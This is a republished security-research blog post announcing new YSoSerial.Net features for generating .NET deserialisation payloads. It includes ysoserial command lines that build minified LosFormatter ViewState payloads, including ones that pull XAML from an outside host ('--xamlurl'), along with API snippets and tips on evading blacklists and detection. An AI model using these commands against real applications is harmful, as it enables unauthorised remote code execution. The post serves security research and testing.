By Soroush Dalili (@irsdl) – source: https://www.mdsec.co.uk/2020/04/introducing-ysoserial-net-april-2020-improvements/

Introducing YSoSerial.Net April 2020 Improvements by MDSec

The YSoSerial.Net project has become the most popular tool when researching or exploiting deserialisation issues in .NET. We have recently invested some research time to improve this tool to help ourselves and the community so it can bypass more restrictions and can be used better by the researchers as well.

Minification:

A new feature has been added to reduce the payload size. This can be done by providing the `--minify` and `--usesimpletype` (`--ust`) arguments. The second argument use simple type format and removes the assembly part from the classes where possible (a non-binary payload in YSoSerial.Net needs to be configured by its developer to support this).

It should be noted that various methodologies have been developed for XML, JSON, YAML, and Binary formatted serialised payloads to remove unnecessary parts or to shorten existing patterns.

The following table shows how these changes can reduce the length with a generic payload of `cmd /c calc` as an example:

Gadget	Formatter	Previous Length	New Length	Saving%
ObjectDataProvider	XAML	602	433	28%
ObjectDataProvider	Json.Net	494	253	48%
ObjectDataProvider	XmlSerializer	1938	1303	32%
ObjectDataProvider	JavaScriptSerializer	547	457	16%
ObjectDataProvider	DataContractSerializer	1677	1220	27%
ObjectDataProvider	YamlDotNet	536	425	20%
TextFormattingRunProperties	BinaryFormatter	806	533	33%
TextFormattingRunProperties	LosFormatter	1112	720	35%
TextFormattingRunProperties	NetDataContractSerializer	1417	701	50%
TypeConfuseDelegate	BinaryFormatter	2225	950	57%
TypeConfuseDelegate	LosFormatter	2996	1276	57%
TypeConfuseDelegate	NetDataContractSerializer	4020	2923	27%

This feature can come in handy when we face length restrictions for example when a payload needs to be delivered via the URL.

Support for a XAML payload from a URL (see the original research) has also been added to the `ObjectDataProvider` gadget. This can make the payloads a lot shorter when the target can get a file from an external resource. This can be used to create currently the smallest LosFormatter payload in YSoSerial.Net that might be useful to exploit some tricky sites using the ViewState parameter:

```
.\ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c foo -o raw --minify --ust -var 2 --xamlurl http://b8.ee/x
```

Or

```
.\ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c foo -o raw --minify --ust -var 2 --xamlurl \\b8.ee\.xaml
```

For instance, the above payloads are only around 360 characters.

By Soroush Dalili (@irsdl) – source: https://www.mdsec.co.uk/2020/04/introducing-ysoserial-net-april-2020-improvements/

It should be noted that the --rawcmd command has also been added to support a single command with no arguments. This might be useful when an executable file has already been uploaded to a target to save some space and also to evade detection. That said, perhaps the AssemblyInstaller gadget from the original research is a shorter choice when a file can be uploaded locally.

BinaryFormatter From Text

This feature has always been interesting but complicate; seeing a recent MS Exchange Metasploit module by Spencer McIntyre was a big motivation for us to finally implement this in YSoSerial.Net. It is sometimes not possible to create a serialised object directly especially if it uses a gadget such as TextFormattingRunProperties that can produce errors when being deserialised (see the ResourceSet dummy gadget as an example). We have imported and modified some of the .NET Framework (version 4.8) classes in order to make the implementation easier.

As a result, it is now possible to create BinaryFormatter payloads based on a JSON string. The following code shows how this can now be achieved:

```
MemoryStream BFMemoryStream = AdvancedBinaryFormatterParser.JsonToStream(tcd_json);
```

The template to create a valid JSON message can be easily obtained by converting a valid BinaryFormatter payload to JSON:

```
string json_string = AdvancedBinaryFormatterParser.StreamToJson(BFMemoryStream, false, true, true);
```

An example on how to use it can be seen in the following dummy gadget:

https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/ResourceSetGenerator.cs

That said, it is always amusing to try creating a BinaryFormatter object in notepad to understand how this formatter actually works!

A BinaryFormatter payload can be converted to LosFormatter without a key using:

```
MemoryStream lfMS = SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(BFMemoryStream);
```

This feature can also aid in better minimisation of the BinaryFormatter payloads. We have implemented a mechanism which can go through all the items within a JSON object to see when they can be removed or shortened without affecting the code execution process. Some examples on how to do this can be seen in:

https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Helpers/TestingArena/TestingArenaHome.cs

This is how we have managed to reduce the size of TypeConfuseDelegate's payloads by more than 50%.

YSoSerial.Net for Researchers

Although YSoSerial.Net can be used blindly to generate payloads, it is important to maintain its research side for those who want to exploit tricky targets or want to learn more about deserialisation by reading or debugging its code.

By Soroush Dalili (@irsdl) – source: https://www.mdsec.co.uk/2020/04/introducing-ysoserial-net-april-2020-improvements/

In addition to a number of informational items added to the gadgets such as labels, they can now support their own specific arguments that can result in having multiple variants of payloads and more flexible behaviour. Previously, we could only mention other variants as comments which was not ideal as a code change was required to use them. Users can see the additional options using the `--fullhelp` argument.

Gadgets and plugins writers can define a command type that automatically apply appropriate escaping to the supplied commands. Users do not need to encode the `--cmd` argument themselves based on XML or JSON anymore.

Gadgets can now also be used by other gadgets, plugins, or applications (when adding YSoSerial.Net executable file as a library). The serialisation and deserialisation functions for different formatters can now be called using the `SerializersHelper` class without knowing how they actually need to be implemented. This can make the developing and debugging process easier especially for those who are new to this subject.

The `--runmytest` argument for researchers has also been added that passes the inputs to the `Start` method of the `TestingArenaHome` class. This feature is very useful for researchers as it allows testing and debugging from within the YSOSerial.Net project in Visual Studio without touching its fundamental functionality or using a debugger such as dnSpy (still sometimes recommended).

Other Added Features and Gadgets

The `--searchformatter` argument can be used to find all the gadgets that support a specific formatter which might be helpful when targeting a specific application. The `--runallformatters` argument goes one step further and produces payloads from all the gadgets that support a specific formatter:

```
.\ysoserial.exe --runallformatters -f LosFormatter -c calc --rawcmd --minify --ust
```

The ObjectStateFormatter has been removed as LosFormatter without a key uses ObjectStateFormatter and therefore they will be the same as we do not use the Machine Key to generate LosFormatter payloads (except in the “ViewState” plugin).

The following bridged or derived gadgets have also been discovered and added to the project:

- AxHostState
- ClaimsIdentity
- RolePrincipal
- SessionSecurityToken
- SessionViewStateHistoryItem
- WindowsClaimsIdentity

The `DataSet` gadget was also implemented to the project separately and some other gadgets were updated to make their payloads shorter or to support more formatters.

It should be noted that zcgonvh had also updated the `ActivitySurrogateSelector` gadget in the middle of our updates in order to make this gadget more reliable for different .NET versions. Therefore, this gadget now supports more than one variant as well.

Future works:

Researchers contribute more new gadgets or improvements for the existing gadgets all the time. It is always great to add more gadgets or new formatters for existing gadgets that can bypass some

blacklists as they are still very common to be seen in this area (instead of using a safe or whitelist approach).

Size of the existing payloads can potentially be reduced further by removing objects that are not really needed from the produced payloads. We have almost achieved this for BinaryFormatter payloads but it should be extended to other formats.

At the moment, we do not have more than a couple of direct conversion between different formatters and we would need to recreate the actual object. This feature can be useful especially to convert BinaryFormatter payloads to NetDataContractSerializ or SoapFormatter.

.NET remoting modules can be a nice addition to YSoSerial.Net although James Forshaw has already created a great tool for it too (https://github.com/tyranid/ExploitRemotingService). Currently added BinaryFormatter classes do not support .NET remoting which can be fixed in the future.